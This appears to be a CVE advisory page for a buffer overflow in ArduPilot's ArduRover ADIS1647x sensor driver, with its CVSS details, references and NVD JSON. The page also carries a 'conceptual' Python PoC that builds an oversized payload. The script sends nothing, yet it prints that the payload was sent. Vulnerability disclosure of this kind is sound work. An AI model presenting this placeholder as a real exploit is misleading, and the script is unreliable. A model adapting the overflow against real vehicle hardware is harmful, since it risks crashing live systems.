CVE-2024-48519

Description

Buffer Overflow vulnerability in Ardupilot rover commit v.c56439b045162058df0ff136afea3081fcd06d38 allows a local attacker to cause a denial of service via the AP_InertialSensor_ADIS1647x.cpp, ArduRover, ADIS1647x Sensor component.

CVSS Details

CVSS Score

6.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

ArduPilot ArduRover commit v.c56439b045162058df0ff136afea3081fcd06d38

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# poc.py
import struct

# Conceptual PoC for CVE-2024-48519
# This script simulates sending a payload to the ADIS1647x sensor interface
# to trigger a buffer overflow in AP_InertialSensor_ADIS1647x.cpp.

def generate_overflow_payload():
    # Construct a payload larger than the expected buffer size to trigger overflow.
    header = b'\xAA\x55'  # Example header for sensor communication
    junk = b'A' * 500     # Overflow data
    payload = header + junk
    return payload

def send_exploit():
    print("[*] Attempting to trigger buffer overflow on ADIS1647x...")
    payload = generate_overflow_payload()
    # In a real scenario, this writes to the specific bus (SPI/Serial).
    # e.g., ser.write(payload)
    print(f"[+] Payload size: {len(payload)} bytes sent.")
    print("[+] Target should crash if vulnerable (DoS).")

if __name__ == "__main__":
    send_exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-48519
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-48519
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-48519/
[4] VulDB https://vuldb.com/cve/CVE-2024-48519
[5] https://github.com/ArduPilot/ardupilot/issues/27937
[6] https://github.com/ArduPilot/ardupilot/issues/27937

Raw JSON Data

JSON

{"cve": {"id": "CVE-2024-48519", "sourceIdentifier": "[email protected]", "published": "2026-05-13T17:16:18.193", "lastModified": "2026-05-14T13:16:14.943", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow vulnerability in Ardupilot rover commit v.c56439b045162058df0ff136afea3081fcd06d38 allows a local attacker to cause a denial of service via the AP_InertialSensor_ADIS1647x.cpp, ArduRover, ADIS1647x Sensor component."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}, {"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/ArduPilot/ardupilot/issues/27937", "source": "[email protected]"}, {"url": "https://github.com/ArduPilot/ardupilot/issues/27937", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}